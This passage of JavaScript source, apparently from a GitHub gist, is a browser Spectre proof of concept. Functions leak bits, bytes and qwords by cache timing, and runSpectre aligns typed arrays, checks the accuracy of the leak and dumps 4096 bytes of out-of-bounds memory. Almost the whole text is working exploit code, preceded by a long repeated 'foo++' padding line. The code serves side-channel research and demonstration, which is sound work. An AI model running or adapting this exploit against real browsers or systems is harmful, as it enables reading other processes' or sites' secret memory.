foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++ | |
| } | |
| function leakBit(evictionList, offset, bit) { | |
| let zeroes = 0; | |
| let ones = 0; | |
| // Our leak is probabilistic. To filter out some noise, we test both for bit 0 | |
| // and 1 repeatedly. If we didn't get a difference in cache hits, continue | |
| // until we see a diff. | |
| for (let i = 0; i < 1; i++) { | |
| if (testBit(evictionList, offset, bit, 0)) zeroes++; | |
| if (testBit(evictionList, offset, bit, 1)) ones++; | |
| } | |
| for (let i = 1; ones == zeroes && i < 5; i++) { | |
| if (testBit(evictionList, offset, bit, 0)) zeroes++; | |
| if (testBit(evictionList, offset, bit, 1)) ones++; | |
| if (ones != zeroes) break; | |
| } | |
| return ones > zeroes ? 1 : 0; | |
| } | |
| function leakByte(evictionList, offset) { | |
| let byte = 0; | |
| for (let bit = 0; bit < 8; bit++) { | |
| byte |= leakBit(evictionList, offset, bit) << bit; | |
| } | |
| return byte; | |
| } | |
| function leakQword(evictionList, offset) { | |
| let qword = 0n; | |
| for (let i = 0; i < 8; i++) { | |
| qword |= BigInt(leakByte(evictionList, offset+i)) << BigInt(8*i); | |
| } | |
| return qword; | |
| } | |
| async function runSpectre() { | |
| const arrayPageOffset = (PAGE_SZ + inferredCacheSet*CACHE_LINE_SZ - alignedIndex*elementSize) % PAGE_SZ; | |
| console.log(`[*] array elements page offset: 0x${(arrayPageOffset).toString(16)}`); | |
| // We want the backing store ptr and the length of the typed array to be on separate cache lines. | |
| const desiredAlignment = 2*CACHE_LINE_SZ - (40); | |
| let typedArrayPageOffset = (arrayPageOffset + leakMe.length*4) % PAGE_SZ; | |
| console.log(`[*] first typedArray at 0x${typedArrayPageOffset.toString(16)}`); | |
| // We prepared a memory layout in setup_memory.js that looks like this: | |
| // leakMe | typedArray[0] | typedArrayBackingStore[0] | typedArray[1] | typedArrayBackingStore[1] | ... | |
| // Just iterate through them to find one that has the alignment we want. | |
| let alignedTypedArray = undefined; | |
| for (let i = 0; i < typedArrays.length-1; i++) { | |
| if (typedArrayPageOffset % (2*CACHE_LINE_SZ) == desiredAlignment) { | |
| console.log(`[*] found typedArray with desired alignment (@0x${typedArrayPageOffset.toString(16)})`); | |
| alignedTypedArray = typedArrays[i]; | |
| alignedTypedArray.fill(0x00); | |
| const targetArray = typedArrays[i+1]; | |
| // Fill all arrays before and after with 0x41 so that we can see them in | |
| // the hexdump. | |
| // We also use it as a known value to test if our leak works. | |
| for (let j = 0; j < i; j++) { | |
| typedArrays[j].fill(0x41); | |
| } | |
| for (let j = i+1; j < typedArrays.length; j++) { | |
| typedArrays[j].fill(0x41); | |
| } | |
| break; | |
| } | |
| typedArrayPageOffset += 164; | |
| typedArrayPageOffset %= PAGE_SZ; | |
| } | |
| if (alignedTypedArray == undefined) { | |
| console.error(ERR_U8_ALIGN, "couldn't create typed array with right alignment"); | |
| return; | |
| } | |
| // Create these as globals. | |
| // The spectreArray is what we will access out of bounds. | |
| // The spectreTimer calls the spectre gadget and checks which cache sets it's using. | |
| Object.defineProperty(this, "spectreArray", { | |
| value: alignedTypedArray | |
| }); | |
| Object.defineProperty(this, "spectreTimer", { | |
| value: new L1Timer(spectreGadget) | |
| }); | |
| const cacheLineToFlush = typedArrayPageOffset & 0xfc0; | |
| // This will be used to evict the typed array length from the cache | |
| const evictionList = new EvictionList(200, cacheLineToFlush); | |
| // Test that the leak is working. We previously wrote byte 0x41 at a known offset. | |
| const leakTestReps = 1000; | |
| let falsePositives = 0; | |
| let falseNegatives = leakTestReps; | |
| for (let i = 0; i < leakTestReps; i++) { | |
| // The expected value is 0x41 | |
| falseNegatives -= leakBit(evictionList, 164, 0); | |
| falsePositives += leakBit(evictionList, 164, 1); | |
| } | |
| const falsePositivePercent = Math.floor(100*falsePositives/leakTestReps); | |
| const falseNegativePercent = Math.floor(100*falseNegatives/leakTestReps); | |
| console.log(`[*] false positives: ${falsePositivePercent}%, false negatives: ${falseNegativePercent}%`); | |
| if (falsePositivePercent > 20) { | |
| console.error(ERR_NO_41, 'too many wrong false positives in leak test (> 20%)'); | |
| return; | |
| } | |
| if (falseNegativePercent > 20) { | |
| console.error(ERR_NO_41, 'too many wrong false negatives in leak test (> 20%)'); | |
| return; | |
| } | |
| console.log('[*] setup complete, start leaking'); | |
| await sleep(50); | |
| const leakCount = 4096; | |
| const reportSize = 128; | |
| let leaked = []; | |
| let time = performance.now(); | |
| for (let leakOffset = 0; leakOffset < leakCount; leakOffset++) { | |
| if (leaked.length == reportSize) { | |
| console.log(JSON.stringify({type: 'memory', mem: leaked, offset: leakOffset - leaked.length, time: performance.now() - time})); | |
| await sleep(10); | |
| leaked = []; | |
| time = performance.now() | |
| } | |
| leaked.push(leakByte(evictionList, leakOffset)); | |
| } | |
| if (leaked.length > 0) { | |
| console.log(JSON.stringify({type: 'memory', mem: leaked, offset: leakCount - leaked.length, time: performance.now() - time})); | |
| } | |
| console.log('[*] done'); | |
| } | |
| if (leakSuccess) { | |
| console.log(`[*] inferred memory layout: array index ${alignedIndex} is in cacheSet ${inferredCacheSet}`); | |
| // To verify, you can search for the value 0x26700000266e in a debugger | |
| leakMe[alignedIndex] = 0x1337; | |
| leakMe[alignedIndex+1] = 0x1338; | |
| runSpectre(); | |
| } else { | |
| console.error(ERR_MEM_LAYOUT, "could not infer memory layout", {cacheHits: cacheHits}); | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment